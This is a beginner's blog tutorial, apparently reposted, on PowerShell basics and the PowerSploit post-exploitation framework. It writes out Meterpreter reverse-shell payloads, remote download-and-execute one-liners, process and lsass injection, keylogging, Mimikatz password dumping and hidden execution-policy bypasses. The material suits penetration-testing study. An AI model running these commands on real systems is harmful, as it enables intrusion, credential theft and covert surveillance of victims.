从零开始学PowerShell渗透测试
2019-07-27 10:40:00 Author: xz.aliyun.com(查看原文) 阅读量:151 收藏

前言

win7以后,powershell默认安装在windows上,这是一个非常强大的渗透测试利器

主要用于后渗透的过程中,扩大攻击面,原来没有怎么接触过这玩意,最近发现了几款ps渗透框架才意识到了powershell的强大。所以,还是准备好好学学。从零开始的那种。

基本语法入门

启动

直接通过启动栏输入powershell就好

简单命令

Get-Help

主题
Windows PowerShell 帮助系统

Get-Alias

获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令  cd  ls   tee  .....

关于Cmdlets

  • powershell里重要的命令集合
  • 以.net形式存在
  • Get-Command -CommandType cmdlet 命令可以获取其命令集

start-process

start-process  notepad.exe

Get-Process

获取指定的进程

Get-Content

类似cat

Get-Location

类似pwd

Copy-Item

cp

Move-Item

mv

基本语法

运算符

· >:将输出保存到指定文件中(用法:Get-Process>output.txt)

· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)

· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)

· 2>>:将错误追加到指定文件中(Get-Process none 2> logs-Errors.txt)

· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)

· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)

· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)

· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)

· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()

数组

$Array = value1, value2, value3

语句

  • 条件语句
If($var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
  • 循环语句
· While () {}

· Do {} While()

· For(;;;) {}

渗透测试框架PowerSploit

简介

https://github.com/mattifestation/PowerSploit.git

PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员

有很多可用的模块,源码直接在git上可以下载到,以下就简单介绍一下使用方法。

CodeExecution模块

在目标主机执行代码

Invoke-Shellcode.ps1

向指定进程中注入我们的shellcode

配置可执行代码:

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f powershell -o /shell.txt
# msfconsole 监听刚才的payload配置

靶机下载代码,并执行

PS C:\> Import-Module C:\PowerSploit\CodeExecution\Invoke-Shellcode.ps1
PS C:\> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.txt')
PS C:\> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284

Invoke-DllInjection.ps1

将自己的dll注入到目标机器的指定进程中,

administrator或者system权限操作

配置dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll

加载代码,执行

Import-Module C:\PowerSploit\CodeExecution\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 5560 -Dll shell.dll

Invoke-ReflectivePEInjection.ps1

远程注入dll

Import-Module C:\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('c:\shell.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC

Exfiltration模块

用来信息搜集的

截屏

Import-Module C:\PowerSploit\Exfiltration\Get-TimedScreenshot.ps1
Get-TimedScreenshot -Path c:\temp\ -Interval 5 -EndTime 11:23  每5秒截一次图,到11:23时结束

键盘记录

meterpreter再开的cmd[shell] 
Import-Module C:\PowerSploit\Exfiltration\Get-Keystrokes.ps1
Get-Keystrokes -LogPath C:\temp\key.log -Timeout 2  记录2分钟

抓取Windows vault 中保存的各种密码

Import-Module C:\PowerSploit\Exfiltration\Get-VaultCredential.ps1
Get-VaultCredential

mimikatz套件

Import-Module C:\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash

Privesc模块

用来提权的模块

将当前线程令牌提到system

Import-Module C:\PowerSploit\Privesc\Get-System.ps1
Get-System

执行提权的各种检查

要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置

Import-Module C:\PowerSploit\Privesc\PowerUp.ps1 
Invoke-AllChecks | Out-File pri_info.txt

内网信息搜集的一些小模块

端口扫描

Import-Module C:\PowerSploit\Recon\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt

dns反向解析

Import-Module C:\PowerSploit\Recon\Invoke-ReverseDnsLookup.ps1 
Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'

精通

在执行powershell脚本时有些时候会报错,有如下绕过的方法

本地权限绕过

PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

本地隐藏权限绕过

PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

远程下载绕过

powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"

后记

上面就是学习的powershell的一些笔记,这些笔记学的也比较粗浅,归根接地这都是要运到实战上的,大牛勿喷,以后继续努力。

参考链接

https://klionsec.github.io/2016/10/06/powersploit/

https://github.com/PowerShellMafia/PowerSploit

https://www.freebuf.com/column/171993.html


文章来源: http://xz.aliyun.com/t/5762
如有侵权请联系:admin#unsafe.sh